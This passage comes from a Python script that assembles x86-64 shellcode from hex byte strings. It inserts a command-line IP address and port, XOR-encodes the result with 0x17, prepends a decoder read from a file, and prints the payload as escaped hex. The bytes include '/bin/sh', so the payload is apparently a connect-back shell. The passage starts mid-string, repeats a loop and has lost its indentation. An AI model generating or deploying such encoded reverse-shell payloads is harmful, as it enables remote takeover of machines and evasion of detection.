"\x72\x04\x66\xff\xc7\x74\xdc\x48\x8d\x62\x14\x48\x83\xec\x20\x51" \
"\xff\xd1\x59\x84\xc0\x75\xeb\x6a\x7c\x41\x58\xb8"
shellcode_2 =\
"\x42\x39\x04\x84\x75\xdc\xcc\x41\xb0\x35\x66\xb8"
shellcode_3 =\
"\x66\x42"\
"\x39\x04\x44\x75\xcd\x68\x50\x27\x67\x70\x5d\x48\x31\xd2\x52\x52" \
"\x5e\x51\xff\xd1\x59\xff\xc6\x83\xfe\x04\x75\xf5\xbd\x37\xbb\x6b" \
"\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f" \
"\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\xff\xd1"
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " <source IP> <source port>")
exit()
shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3
shellcode2 = ""
for byte in shellcode:
shellcode2 += chr(ord(byte) ^ 0x17)
shellcode2 = ""
for byte in shellcode:
shellcode2 += chr(ord(byte) ^ 0x17)
f = open("shellcode", "rb")
shellcode3 = ""
for line in f.readlines():
shellcode3 += line.rstrip()
shellcode = shellcode3 + shellcode2 + "\x34"
shellcode3 = ""
for byte in shellcode:
shellcode3 += "\\x%.2x" % ord(byte)
for lin in re.findall(".?"*64, shellcode3):
if lin != "":
print("\"" + lin + "\"")
|